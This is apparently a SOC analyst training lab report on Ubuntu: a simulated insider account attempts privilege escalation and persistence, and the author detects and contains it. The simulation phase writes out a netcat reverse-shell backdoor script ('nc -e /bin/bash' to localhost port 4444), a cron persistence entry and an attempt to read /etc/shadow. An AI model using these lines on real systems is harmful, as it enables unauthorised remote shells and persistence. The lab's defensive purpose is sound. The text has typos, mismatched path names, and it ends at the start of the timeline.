LINUX HOST SECURITY MONITORING, THREAT DETECTION & INVESTIGATION

A Practical SOC Analyst Laboratory Study

Prepared by

NELSON MIVULE

Cybersecurity | SOC Operations | Linux Security

CONTACT

Email: nellythewise1419@gmail.com

GitHub: https://github.com/mivulenelson

LinkedIn: https://www.linkedin.com/in/nelson-mivule-129943214/?isSelfProfile=true

Prepared for Practical Cybersecurity & SOC Skills Development

2026

Abstract

This practical laboratory study focuses on Linux Host Security Monitoring, Threat Detection & Investigation as part of practical preparation for Security Operations Center (SOC) responsibilities. The laboratory was developed on an Ubuntu Linux system to simulate common activities that a SOC analyst may encounter when monitoring and investigating a Linux endpoint. The laboratory implements practical monitoring and detection activities covering authentication and SSH events, running processes, network connections, listening ports, user accounts, sudo activity, crn jobs, systemd services, suspicious files, file modifications, login activity, and security alerts. Bash-based monitoring scripts and standard Linux securely utilities are used to collect system evidence, establish baselines, idetify abnormal activity, and support investigation. A controlled attack simulation is also incorporated to generate realistic security telemetry. The simulation uses a dedicated non-privileged laboratory account to perform activities such as local SSH authentication, failed authentication attempts, creation of harmless scheduled tasks, execution of suspicious-looking files from temporary directories, and temporary network services. These activities are designed to generate genuine system events without using destructive malware, real privilege-escalation exploits, or attacks against external systems. The resulting logs and system evidence are analyzed from a SOC analyst perspective. Activities are correlated across authentication logs, processes, network connections, files, scheduled tasks, and system services to construct an incident timeline and determine whether observed behavior is normal or suspicious. Findings are documented using structured investigation reports containing evidence, timelines, affected accounts, processes, network information, classification, severity, and recommended actions. The overall purpose of this laboratory is to perform Linux security knowledge into practical SOC capabilities by providing hands-on experience with monitoring, detection, alert investigation, evidence collection, event correlation, incident documentation, and basic threat hunting. The laboratory provides technologies such as SIEM, EDR, network monitoring, incident response, and detection engineering.

Areas Covered

- Linux Host Monitoring
- Authentication & SSH Investigation
- Process Monitoring
- Network & Port Monitoring
- Sudo Activity Investigations
- Cron Job Monitoring
- Systemd Service Monitoring
- Suspicious File Detection
- File Change Monitoring
- Security Alert Engineering
- Attack Simulation & Incident Investigation

Operating Environment

Operating System: Ubuntu Linux

Hardware: HP Folio 9470m

Processor: Intel Core i7

RAM: 8 GB

Storage: 256 GB SSD

Table of Contents

Abstract.....i
Areas Covered.....ii
Operating Environment.....iii
CHAPTER ONE.....1
LAB PREPARATION AND CONTROLLED ATTACK SCENARIO.....1
1.1 Introduction.....1
1.2. Scenario Definition.....1
1.3. Laboratory Requirements.....2
1.4 Step-by-Step Laboratory Execution Guide.....3
1.5 SOC Detection $ Investigation Workflow.....9
1.6 Incident Timeline Reconstruction.....14
1.7 Incident Classification & Final Disposition.....15
1.8 Detailed Investigation Findings.....15
1.9 Attack Conclusion.....16
1.10 SOC Conclusions & Key Takeaways.....16

CHAPTER ONE

LAB PREPARATION AND CONTROLLED ATTACK SCENARIO

1.1 Introduction

A modern Security Operations Center (SOC) analyst must possess the technical proficiency to identify endpoint anomalies, reconstruct attack chains, analyze telemetry across multiple subsystems, collect forensically sound evidence, and execute structural incident responses.

This chapter establishes a controlled. Local Linux security laboratory designed to simulate an insider threat or compromised standard user scenario. By introducing an unprivileged user account (socattacker), I generated genuine system telemetry spanning authentication logs, process trees, network sockets, file metadata, and privilege escalation attempts without risking production infrastructure.

The simulation followed a rigorous, industry-standard security workflow:
Telemetry Generation → SOC Alert → Triage → Multi-Source Investigation → Event Correlation → Timeline Reconstruction → Incident Containment → Reporting

1.2. Scenario Definition

Scenario Name Unauthorized Privilege Attempt and Local Reconnaissance by a Standard User
Scenario ID: SOC-LAB-001
Scenario Type: Controlled endpoint security simulation (Detection Engineering & Threat Hunting)
Attacker Account: socattacker (UID/GID 1001, Standard User)
Target Environment: Ubuntu Workstation

Primary Objective: Validate whether a SOC analyst can detect, investigate, correlate, and document suspicious actions performed by an unprivileged user attempting unauthorized system access.

Primary SOC Questions

My investigation definitively answered the following twelve core questions:

1. **Attribution**: Who performed the activity?
2. **Temporality**: When did the activity occur?
3. **Origin**: Where did the activity originate (local shell vs. remote SSH session)?
4. **Action**: What exact commands, scripts, or binaries were executed?
5. **Privilege State**: Did the account hold administrative rights at inception?
6. **Escalation**: Was it horizontal or vertical privilege escalation attempted (sudo, su, SUID/SGID binaries)?
7. **Process Lineage**: What parent-child process relationships were spawned?
8. **Network Footprint:** What listening ports, outbound connections, or protocols were utilized?
9. **Artifact Generation**: Were temporary files, hidden directories, or configuration modifications created?
10. **Persistence**: Was persistence established via cron jobs, systemd services, or shell profiles?
11. **Evidentiary Proof**: Which log sources and telemetry markets confirm the activity?
12. **Remediation**: What containment, eradication, and hardening responses are required?

1.3. Laboratory Requirements

Hardware Specifications

While enterprise SOC testing often leverage virtualized clusters, this laboratory was optimized for lightweight endpoint testing:

Host OS: Ubuntu Linux (24.04 LTS)

Processor: Intel Core i7

Memory: 8 GB RAM

Storage: 256: 256 GB SSD

Software & Tooling Dependencies

I ensured the terminal environment has access to the following core utilities and monitoring packages:

Core utilities: bash, sudo, systemclt, journalctl, ss, ps, lsof, grep, awk, sed, find, stat, sha256sum

Advanced Telemetry Tools: auditd, inotify-tools, python3

1.4 Step-by-Step Laboratory Execution Guide

Phase 1: Environment Initialization & Directory Setup

```
l391lninj1@L391LNinj1:~/Desktop$ cd linux_soc_lab/
l391lninj1@L391LNinj1:~/Desktop/linux_soc_lab$ pwd
/home/l391lninj1/Desktop/linux_soc_lab
l391lninj1@L391LNinj1:~/Desktop/linux_soc_lab$
```

```
l391lninj1@L391LNinj1:~/Desktop/linux_soc_lab$ ls -la
total 88
drwxrwxr-x  7 l391lninj1 l391lninj1  4096 Sep  1 18:20 .
drwxr-xr-x 13 l391lninj1 l391lninj1 16384 Sep 12 20:33 ..
drwxrwxr-x  2 l391lninj1 l391lninj1  4096 Sep  1 18:20 attack-simulation
drwxrwxr-x  2 l391lninj1 l391lninj1  4096 Sep  1 15:33 baselines
-rw-rw-r--  1 l391lninj1 l391lninj1  1253 Sep  1 16:33 cron_monitor.sh
drwxrwxr-x  2 l391lninj1 l391lninj1  4096 Sep  1 18:20 evidence
-rw-rw-r--  1 l391lninj1 l391lninj1  1307 Sep  1 16:53 file_monitor.sh
-rwxrwxr-x  1 l391lninj1 l391lninj1   367 Sep  1 18:12 file_watch.sh
-rw-rw-r--  1 l391lninj1 l391lninj1  1324 Sep  1 17:32 login_monitor.sh
drwxrwxr-x  2 l391lninj1 l391lninj1  4096 Sep  1 15:33 logs
-rw-rw-r--  1 l391lninj1 l391lninj1   941 Sep  1 15:55 network_monitor.sh
-rw-rw-r--  1 l391lninj1 l391lninj1   858 Sep  1 16:02 port_monitor.sh
-rw-rw-r--  1 l391lninj1 l391lninj1  1085 Sep  1 15:47 process_monitor.sh
drwxrwxr-x  2 l391lninj1 l391lninj1  4096 Sep  1 15:33 reports
-rw-rw-r--  1 l391lninj1 l391lninj1  2441 Sep  1 18:07 security_alerts.sh
-rw-rw-r--  1 l391lninj1 l391lninj1  1357 Sep  1 17:47 ssh_monitor.sh
-rw-rw-r--  1 l391lninj1 l391lninj1  1252 Sep  1 16:21 sudo_monitor.sh
-rw-rw-r--  1 l391lninj1 l391lninj1  1421 Sep  1 16:43 systemd_monitor.sh
-rw-rw-r--  1 l391lninj1 l391lninj1  1075 Sep  1 16:11 user_monitor.sh
l391lninj1@L391LNinj1:~/Desktop/linux_soc_lab$
```

cd linux-soc-lab: Moves the shell session the workspace

pwd: Prints the absolute path to confirm my current working environment

ls -la: Lists all files (including hidden ones) to verify monitoring scripts are present

```
l391lninj1@L391LNinj1:~/Desktop/linux_soc_lab$ mkdir -p attack-simulation
l391lninj1@L391LNinj1:~/Desktop/linux_soc_lab$ ls -ld attack-simulation/
drwxrwxr-x 2 l391lninj1 l391lninj1 4096 Sep 14 18:28 attack-simulation/
l391lninj1@L391LNinj1:~/Desktop/linux_soc_lab$
```

Figure 1: Creation and permission validation of the attack-simulation workspace

mkdir -p built the target directory path recursively, and **ls-ld** output permissions and ownership metrics for the newly created folder without listing its internal contents

Phase 2: Attacker Account Provisioning & Security Posture Validation

I created a non-administrative user to simulate an insider threat or compromised standard account

```
l391lninj1@L391LNinj1:~/Desktop/linux_soc_lab$ sudo adduser socattacker
[sudo] password for l391lninj1:
info: Adding user `socattacker' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `socattacker' (1003) ...
info: Adding new user `socattacker' (1003) with group `socattacker (1003)' ...
info: Creating home directory `/home/socattacker' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for socattacker
Enter the new value, or press ENTER for the default
        Full Name []: soc attacker
        Room Number []: 1001
        Work Phone []: None
        Home Phone []: None
        Other []: None
Is the information correct? [Y/n] y
info: Adding new user `socattacker' to supplemental / extra groups `users' ...
info: Adding user `socattacker' to group `users' ...
```

Figure 2: adding a user (socattaker)

It invoked the high-level utility to create a new user, automatically allocating a home directory, default shell, and standard user UID/GID

Verifying Account Privileges

A critical pillar of SOC baseline validation is providing that the threat actor account lacked root privilege before the attack occurred. I run the following validation block:

```
l391lninj1@L391LNinj1:~/Desktop/linux_soc_lab$ id socattacker
uid=1003(socattacker) gid=1003(socattacker) groups=1003(socattacker),100(users)
l391lninj1@L391LNinj1:~/Desktop/linux_soc_lab$ groups socattacker
socattacker : socattacker users
l391lninj1@L391LNinj1:~/Desktop/linux_soc_lab$ sudo -l -U socattacker
User socattacker is not allowed to run sudo on L391LNinj1.
l391lninj1@L391LNinj1:~/Desktop/linux_soc_lab$
```

id sockattaker: Displayed user UID (UID), group ID (GID), and secondary group membership

groups socattacker: Listed all groups the user belongs to (must not include sudo)

sudo -l -U socattacker: Queried the system sudoers policy to verify if any administrative commands are permitted for this user.

Verdict:

- The new user had a uid=1003, gid=1003(socattaker), groups=1003(socattacker), 100(users)
- sudo -l -U confirmed the user never had any root privileges

Phase 3: Establishing System and Network Baselines

Before launching the simulation, I captured the pre-attacks state because without a baseline, differentiating between legitimate background operating system noise and malicious artifacts is nearly impossible

```
l391lninj1@L391LNinj1:~/Desktop/linux_soc_lab$ hostname
L391LNinj1
l391lninj1@L391LNinj1:~/Desktop/linux_soc_lab$ uname -a
Linux L391LNinj1 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC
 2025 x86_64 x86_64 x86_64 GNU/Linux
l391lninj1@L391LNinj1:~/Desktop/linux_soc_lab$ date
Mon Sep 14 08:31:03 PM EAT 2026
l391lninj1@L391LNinj1:~/Desktop/linux_soc_lab$ whoami
l391lninj1
l391lninj1@L391LNinj1:~/Desktop/linux_soc_lab$ who
l391lninj1 seat0        2026-09-14 16:38 (login screen)
l391lninj1 tty2         2026-09-14 16:38 (tty2)
l391lninj1@L391LNinj1:~/Desktop/linux_soc_lab$
```

```
l391lninj1@L391LNinj1:~/Desktop/linux_soc_lab$ ss -lntup > ss_lntup
l391lninj1@L391LNinj1:~/Desktop/linux_soc_lab$ cat ss_lntup
Netid State  Recv-Q Send-Q   Local Address:Port  Peer Address:PortProcess

udp   UNCONN 0      0        192.168.122.1:53         0.0.0.0:*

udp   UNCONN 0      0           127.0.0.54:53         0.0.0.0:*

udp   UNCONN 0      0        127.0.0.53%lo:53         0.0.0.0:*

udp   UNCONN 0      0       0.0.0.0%virbr0:67         0.0.0.0:*

udp   UNCONN 0      0        10.84.141.255:137        0.0.0.0:*

udp   UNCONN 0      0          10.84.141.1:137        0.0.0.0:*

udp   UNCONN 0      0       172.19.255.255:137        0.0.0.0:*

udp   UNCONN 0      0           172.19.0.1:137        0.0.0.0:*

udp   UNCONN 0      0       172.18.255.255:137        0.0.0.0:*
```

```
l391lninj1@L391LNinj1:~/Desktop/linux_soc_lab$ ps aux > process_baseline.txt
l391lninj1@L391LNinj1:~/Desktop/linux_soc_lab$ cat process_baseline.txt | head -n 10
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.1  24292 13328 ?        Ss   14:20   0:08 /sbin/init splash
root           2  0.0  0.0      0     0 ?        S    14:20   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        S    14:20   0:00 [pool_workqueue_relea
se]
root           4  0.0  0.0      0     0 ?        I<   14:20   0:00 [kworker/R-rcu_g]
root           5  0.0  0.0      0     0 ?        I<   14:20   0:00 [kworker/R-rcu_p]
root           6  0.0  0.0      0     0 ?        I<   14:20   0:00 [kworker/R-slub_]
root           7  0.0  0.0      0     0 ?        I<   14:20   0:00 [kworker/R-netns]
root           9  0.0  0.0      0     0 ?        I<   14:20   0:05 [kworker/0:0H-events_
highpri]
root          12  0.0  0.0      0     0 ?        I<   14:20   0:00 [kworker/R-mm_pe]
l391lninj1@L391LNinj1:~/Desktop/linux_soc_lab$
```

```
l391lninj1@L391LNinj1:~/Desktop/linux_soc_lab$ ss -tunap > ss_tunap
l391lninj1@L391LNinj1:~/Desktop/linux_soc_lab$ cat ss_tunap
Netid State      Recv-Q Send-Q    Local Address:Port     Peer Address:Port Process

udp   ESTAB      0      0           10.84.141.1:51938         8.8.8.8:53

udp   ESTAB      0      0           10.84.141.1:51966         8.8.8.8:53

udp   ESTAB      0      0           10.84.141.1:35613         1.1.1.1:53

udp   ESTAB      0      0             127.0.0.1:43907      127.0.0.53:53    users:(("cod
e",pid=99899,fd=148))
udp   ESTAB      0      0           10.84.141.1:60314    10.84.141.90:53

udp   ESTAB      0      0           10.84.141.1:52142         8.8.8.8:53

udp   ESTAB      0      0           10.84.141.1:39862         1.1.1.1:53

udp   ESTAB      0      0           10.84.141.1:48155         8.8.8.8:53

udp   ESTAB      0      0           10.84.141.1:56394         8.8.8.8:53
```

```
l391lninj1@L391LNinj1:~$ ps aux > ~/linux-soc-lab/baselines/process_baseline.txt
bash: /home/l391lninj1/linux-soc-lab/baselines/process_baseline.txt: No such file or dir
ectory
l391lninj1@L391LNinj1:~$
```

uname -a: Details the kernel version and architecture for vulnerabilities and log correlation

ss -lntup: Displays listening TCP/UDP sockets paired with process names (-p)

ps aux: Dumps all running processes to establish normal execution behavior

Phase 4: Executing the Controlled Attack Simulation (The Threat Actor Phase)

Log into the socattacker account (or open a separate terminal session) to simulate realistic attack actions

1. Simulate Authentication Testing & Reconnaissance

```
l391lninj1@L391LNinj1:~$ su - socattacker
Password:
socattacker@L391LNinj1:~$ id
uid=1003(socattacker) gid=1003(socattacker) groups=1003(socattacker),100(users)
socattacker@L391LNinj1:~$ uname -r
6.8.0-90-generic
socattacker@L391LNinj1:~$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
```

```
socattacker@L391LNinj1:~$ cat /etc/passwd | grep -v nologin
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
tss:x:106:113:TPM software stack,,,:/var/lib/tpm:/bin/false
whoopsie:x:117:124::/nonexistent:/bin/false
speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
gnome-initial-setup:x:126:65534::/run/gnome-initial-setup/:/bin/false
hplip:x:127:7:HPLIP system user,,,:/run/hplip:/bin/false
gdm:x:128:134:Gnome Display Manager:/var/lib/gdm3:/bin/false
l391lninj1:x:1000:1000:L391LNinj1,,,:/home/l391lninj1:/bin/bash
dhcpcd:x:130:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
splunk:x:1001:1001:Splunk Server:/opt/splunk:/bin/bash
splunkfwd:x:1002:1002:Splunk Forwarder:/opt/splunkforwarder:/bin/bash
postgres:x:133:143:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
swtpm:x:134:145:virtual TPM software stack,,,:/var/lib/swtpm:/bin/false
socattacker:x:1003:1003:soc attacker,1001,None,None,None:/home/socattacker:/bin/bash
socattacker@L391LNinj1:~$
```

2. Simulate Unauthorized Privilege Escalation

```
socattacker@L391LNinj1:~$ sudo /etc/shadow
[sudo] password for socattacker:
socattacker is not in the sudoers file.
This incident has been reported to the administrator.
```

- **Simulate Suspicious File Creation & Persistent Attempt**

```
socattacker@L391LNinj1:~$ mkdir ~/.cache/update_chache
socattacker@L391LNinj1:~$ ls
socattacker@L391LNinj1:~$ cd ..
socattacker@L391LNinj1:/home$ ls
claude  l391lninj1  socattacker
socattacker@L391LNinj1:/home$ cd socattacker/
socattacker@L391LNinj1:~$ ls
socattacker@L391LNinj1:~$ ls -la
total 24
drwxr-x--- 3 socattacker socattacker 4096 Oct  5 14:09 .
drwxr-xr-x 5 root        root        4096 Sep 14 18:46 ..
-rw-r--r-- 1 socattacker socattacker  220 Sep 14 18:46 .bash_logout
-rw-r--r-- 1 socattacker socattacker 3771 Sep 14 18:46 .bashrc
drwx------ 3 socattacker socattacker 4096 Oct  5 14:16 .cache
-rw-r--r-- 1 socattacker socattacker  807 Sep 14 18:46 .profile
socattacker@L391LNinj1:~$
```

```
socattacker@L391LNinj1:~$ echo '#!/bin/bash' .cache/update_chache/backdoor.sh
#!/bin/bash .cache/update_chache/backdoor.sh
socattacker@L391LNinj1:~$ cat .cache/update_chache/backdoor.sh
#!/bin/bash
nc -e /bin/bash 127.0.0.1 4444
socattacker@L391LNinj1:~$ chmod +x .cache/update_chache/backdoor.sh
socattacker@L391LNinj1:~$
```

- **Attempt a suspicious cron entry**

```
socattacker@L391LNinj1:~$ (crontab -l 2>/dev/null; echo "*/5 * * * * ~/.cache/update_cac
he/backdoor.sh") | crontab -
You have new mail in /var/mail/socattacker
socattacker@L391LNinj1:~$
```

crontab -l: Lists all existing cron jobs of the user

2>/dev/null: crontab -l will print an error message to the standard error stream.

Echo "*/5 * * * * ~/.cache/update_Cache/backdoor.sh": prints ext string contining the new cron rule every 5 minutes

1.5 SOC Detection $ Investigation Workflow

Step 1: Running Automated Detections (security.sh script)

```
l391lninj1@L391LNinj1:~/linux-soc-lab$
l391lninj1@L391LNinj1:~/linux-soc-lab$ cat security_alerts.sh
#!/bin/bash

BASE_DIR="$(cd "$(dirname "$0")" && pwd)"
LOG_FILE="$BASE_DIR/logs/security_alerts.log"

mkdir -p "$BASE_DIR/logs"

echo "======================================"
echo "          LINUX SECURITY ALERT ENGINE"
echo "          $(date)"
echo "======================================"

echo "" >> "$LOG_FILE"
echo "==== SECURITY SCAN: $(date) =====" >> "$LOG_FILE"

ALERT_COUNT=0

alert() {
        echo "[ALERT] $1"
```

```
l391lninj1@L391LNinj1:~/linux-soc-lab$ chmod +x security_alerts.sh
l391lninj1@L391LNinj1:~/linux-soc-lab$
```

```
==== SECURITY SCAN: Wed Oct 14 01:54:27 PM EAT 2026 =====
[INFO] Failed SSH attempts: 1
[ALERT] One or more systemctl services are in a failed state.
[ALERT] Potentially suspicious command pattern found in cron configuration.
[INFO] Recent sudo activity detected.
Total alerts: 2

==== SECURITY SCAN: Wed Oct 14 01:58:12 PM EAT 2026 =====
[INFO] Failed SSH attempts: 2
[ALERT] One or more systemctl services are in a failed state.
[ALERT] Potentially suspicious command pattern found in cron configuration.
[INFO] Recent sudo activity detected.
Total alerts: 2
l391lninj1@L391LNinj1:~/linux-soc-lab$
```

Step 2: Manual Log Forensics & Telemetry Correlation

1. **Authentication & Failed Sudo Investigation**

sudo grep 'socattacker' /var/log/auth.log | tail -30

```
l391lninj1@L391LNinj1:~/linux-soc-lab$ sudo grep 'socattacker' /var/log/auth.log | tail
-30
2026-10-14T13:29:11.764313+03:00 L391LNinj1 sudo: socattacker : user NOT in sudoers ; TT
Y=pts/1 ; PWD=/home/socattacker ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
2026-10-14T13:30:01.374387+03:00 L391LNinj1 CRON[231550]: pam_unix(cron:session): sessio
n opened for user socattacker(uid=1003) by socattacker(uid=0)
2026-10-14T13:30:01.387993+03:00 L391LNinj1 CRON[231550]: pam_unix(cron:session): sessio
n closed for user socattacker
2026-10-14T13:35:01.396663+03:00 L391LNinj1 CRON[234091]: pam_unix(cron:session): sessio
n opened for user socattacker(uid=1003) by socattacker(uid=0)
2026-10-14T13:35:01.414222+03:00 L391LNinj1 CRON[234091]: pam_unix(cron:session): sessio
n closed for user socattacker
2026-10-14T13:40:01.434418+03:00 L391LNinj1 CRON[236687]: pam_unix(cron:session): sessio
n opened for user socattacker(uid=1003) by socattacker(uid=0)
2026-10-14T13:40:01.437480+03:00 L391LNinj1 CRON[236686]: pam_unix(cron:session): sessio
n opened for user socattacker(uid=1003) by socattacker(uid=0)
2026-10-14T13:40:01.452463+03:00 L391LNinj1 CRON[236686]: pam_unix(cron:session): sessio
n closed for user socattacker
2026-10-14T13:40:01.452753+03:00 L391LNinj1 CRON[236687]: pam_unix(cron:session): sessio
n closed for user socattacker
2026-10-14T13:45:01.463876+03:00 L391LNinj1 CRON[239172]: pam_unix(cron:session): sessio
```

2. **Gathering intelligence**

check explicit Sudoers configuration (sudo grep -R "socattacker" /et/sudoers.d/)

```
l391lninj1@L391LNinj1:~/linux-soc-lab$ sudo grep -R 'socattacker' /etc/sudoers /etc/sudo
ers.d
l391lninj1@L391LNinj1:~/linux-soc-lab$
```

Check group membership (id sockattaker)

```
l391lninj1@L391LNinj1:~/linux-soc-lab$ id socattacker
uid=1003(socattacker) gid=1003(socattacker) groups=1003(socattacker),100(users)
l391lninj1@L391LNinj1:~/linux-soc-lab$
```

3. **Locate and inspect the backdoor.sh script**

Finding where the file is hidden on the disk (sudo find / -name "backdoor.sh" 2>/dev/null)

```
l391lninj1@L391LNinj1:~/linux-soc-lab$ sudo find / -name "backdoor.sh" 2>/dev/null
/home/socattacker/.cache/update_chache/backdoor.sh
l391lninj1@L391LNinj1:~/linux-soc-lab$
```

Inspect the content of the script (sudo cat /home/socattacker/.cache/update_cache/backdoor.sh)

```
l391lninj1@L391LNinj1:~/linux-soc-lab$ sudo cat /home/socattacker/.cache/update_chache/b
ackdoor.sh
#!/bin/bash
nc -e /bin/bash 127.0.0.1 4444
l391lninj1@L391LNinj1:~/linux-soc-lab$
```

Check for active network connections (sudo lsod -i -u soccattacker)

```
l391lninj1@L391LNinj1:~/linux-soc-lab$ sudo lsof -i -u socattacker
lsof: WARNING: can't stat() fuse.portal file system /run/user/1000/doc
      Output information may be incomplete.
lsof: WARNING: can't stat() fuse.gvfsd-fuse file system /run/user/1000/gvfs
      Output information may be incomplete.
COMMAND       PID            USER   FD   TYPE  DEVICE SIZE/OFF    NODE NAME
systemd-r     735 systemd-resolve   14u  IPv4    8735      0t0     UDP _localdnsstub:doma
in
systemd-r     735 systemd-resolve   15u  IPv4    8736      0t0     TCP _localdnsstub:doma
in (LISTEN)
systemd-r     735 systemd-resolve   16u  IPv4    8737      0t0     UDP _localdnsproxy:dom
ain
systemd-r     735 systemd-resolve   17u  IPv4    8738      0t0     TCP _localdnsproxy:dom
ain (LISTEN)
systemd-r     735 systemd-resolve   21u  IPv4 1277410      0t0     UDP L391LNinj1:46659->
_gateway:domain
avahi-dae    1039           avahi   12u  IPv4    9043      0t0     UDP *:mdns
avahi-dae    1039           avahi   13u  IPv6    9044      0t0     UDP *:mdns
avahi-dae    1039           avahi   14u  IPv4    9045      0t0     UDP *:38517
avahi-dae    1039           avahi   15u  IPv6    9046      0t0     UDP *:50630
```

4. **Incident response steps**

view the user's active crontab (sudo crontab -u socattacker -l)

```
l391lninj1@L391LNinj1:~/linux-soc-lab$ sudo crontab -u socattacker -l
*/5 * * * * ~/.cache/update_cache/backdoor.sh
*/5 * * * * ~/.cache/update_cache/backdoor.sh
l391lninj1@L391LNinj1:~/linux-soc-lab$
```

Wipe the Backdoor Schedule (sudo crontab -u socattacker -r)

```
l391lninj1@L391LNinj1:~/linux-soc-lab$ sudo crontab -u socattacker -r
l391lninj1@L391LNinj1:~/linux-soc-lab$
```

Lock the Compromised Account (sudo usermod -L -s /usr/sbin.nologin socattacker)

```
l391lninj1@L391LNinj1:~/linux-soc-lab$ sudo usermod -L -s /usr/sbin/nologin socattacker
l391lninj1@L391LNinj1:~/linux-soc-lab$
```

sudo grep “sudo” /var/log/auth.log | tail -30

```
l391lninj1@L391LNinj1:~/linux-soc-lab$ sudo grep "sudo" /var/log/auth.log | tail -30
2026-10-14T14:13:53.646710+03:00 L391LNinj1 sudo: pam_unix(sudo:session): session closed
 for user root
2026-10-14T14:17:47.321237+03:00 L391LNinj1 sudo: l391lninj1 : TTY=pts/0 ; PWD=/home/l39
1lninj1/linux-soc-lab ; USER=root ; COMMAND=/usr/sbin/usermod -u socattacker -L -s /usr/
sbin/nologin socattacker
2026-10-14T14:17:47.322358+03:00 L391LNinj1 sudo: pam_unix(sudo:session): session opened
 for user root(uid=0) by l391lninj1(uid=1000)
2026-10-14T14:17:47.337564+03:00 L391LNinj1 sudo: pam_unix(sudo:session): session closed
 for user root
2026-10-14T14:18:37.537827+03:00 L391LNinj1 sudo: l391lninj1 : TTY=pts/0 ; PWD=/home/l39
1lninj1/linux-soc-lab ; USER=root ; COMMAND=/usr/sbin/usermod -L -s /usr/sbin/nologin so
cattacker
2026-10-14T14:18:37.538692+03:00 L391LNinj1 sudo: pam_unix(sudo:session): session opened
 for user root(uid=0) by l391lninj1(uid=1000)
2026-10-14T14:18:37.562836+03:00 L391LNinj1 sudo: pam_unix(sudo:session): session closed
 for user root
2026-10-14T14:26:08.128180+03:00 L391LNinj1 sudo: l391lninj1 : TTY=pts/0 ; PWD=/home/l39
1lninj1/linux-soc-lab ; USER=root ; COMMAND=/usr/bin/grep -R socattacker /etc/sudoers /e
tc/sudoers.d
```

5. Process and Network Socket Correlations

ps -u socattacker -f

```
l391lninj1@L391LNinj1:~/linux-soc-lab$ ps -u socattacker -f
UID          PID    PPID  C STIME TTY          TIME CMD
socatta+  230701  230643  0 13:28 pts/1    00:00:00 -bash
l391lninj1@L391LNinj1:~/linux-soc-lab$
```

sudo ss -tnp | grep ‘socattacker’

```
l391lninj1@L391LNinj1:~/linux-soc-lab$ sudo ss -tnp | grep "socattacker"
l391lninj1@L391LNinj1:~/linux-soc-lab$
```

6. Executing Monitoring Scripts

user_monitor.sh

```
l391lninj1@L391LNinj1:~/linux-soc-lab$ ./user_monitor.sh
==================================
               LINUS USER MONITOR
               Wed Oct 14 02:47:36 PM EAT 2026
==================================

[1] All users
root
daemon
bin
sys
sync
games
man
lp
mail
news
uucp
proxy
www-data
backup
```

ssh_monitor.sh

```
l391lninj1@L391LNinj1:~/linux-soc-lab$ chmod +x ssh_monitor.sh
l391lninj1@L391LNinj1:~/linux-soc-lab$ ./ssh_monitor.sh
==================================
               SSH SECURITY MONITOR
               Wed Oct 14 02:48:40 PM EAT 2026
==================================

[1] Failed SSH passwords
2026-10-14T13:54:36.291998+03:00 L391LNinj1 sudo: l391lninj1 : TTY=pts/0 ; PWD=/home/l39
1lninj1/linux-soc-lab ; USER=root ; COMMAND=/usr/bin/grep -c 'Failed password' /var/log/
auth.log
2026-10-14T13:58:12.325722+03:00 L391LNinj1 sudo: l391lninj1 : TTY=pts/0 ; PWD=/home/l39
1lninj1/linux-soc-lab ; USER=root ; COMMAND=/usr/bin/grep -c 'Failed password' /var/log/
auth.log
2026-10-14T14:48:40.631292+03:00 L391LNinj1 sudo: l391lninj1 : TTY=pts/0 ; PWD=/home/l39
1lninj1/linux-soc-lab ; USER=root ; COMMAND=/usr/bin/grep 'Failed password' /var/log/aut
h.log

[2] Invalid SSH users
2026-10-14T14:48:40.649546+03:00 L391LNinj1 sudo: l391lninj1 : TTY=pts/0 ; PWD=/home/l39
```

process_monitor.sh

```
l391lninj1@L391LNinj1:~/linux-soc-lab$ ./process_monitor.sh
====================================
               LINUX PROCESS MONITOR
====================================

[1] Top CPU-consuming processes
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
l391lni+  278782  100  0.0  15084  5504 pts/0    R+   14:59   0:00 ps aux --sort=-%cpu
l391lni+  227319 31.9 10.1 1518517908 810596 ?   Sl   13:22  31:02 /opt/google/chrome/ch
rome --type=renderer --crashpad-handler-pid=226968 --enable-crash-reporter=859a4d63-793b
-4d0a-8ccf-f36b8a717dea, --change-stack-guard-on-fork=enable --ozone-platform=x11 --disa
ble-gpu-compositing --lang=en-US --num-raster-threads=2 --enable-main-frame-before-activ
ation --renderer-client-id=22 --launch-time-ticks=16861422146 --shared-files=v8_context_
snapshot_data:100 --metrics-shmem-handle=4,i,3183369236984457379,1265072775697701569,157
2864 --field-trial-handle=3,i,5459422532344986697,14254726172911051267,262144 --variatio
ns-seed-version=20261014-010040.755000-production --pseudonymization-salt-handle=7,i,164
89978212847733746,4245795133356955284,4 --trace-process-track-uuid=3190709006926792172
root      277093 12.6  0.5 452948 46820 ?        Ssl  14:57   0:18 /usr/libexec/packagek
itd
l391lni+    4329  6.6  1.8 4506576 150212 ?      Ssl  08:42  25:07 /usr/bin/gnome-shell
l391lni+    4060  6.2  0.9 715384 73484 tty2     Sl+  08:42  23:33 /usr/lib/xorg/Xorg vt
```

1.6 Incident Timeline Reconstruction

Based on the forensic logs captured from /var/log/auth.log and system artifact inspections, the following precise event timeline reconstructs the attack chain and detection response

Timestamp (UTC+3)	Source Log / Artifact	Event Description	SOC Significance
2026-10-14 13:28:XX	/etc/passwd	Account socattacker (UID 1003) provisioned via adduser	Baseline divergence (New standard user created)
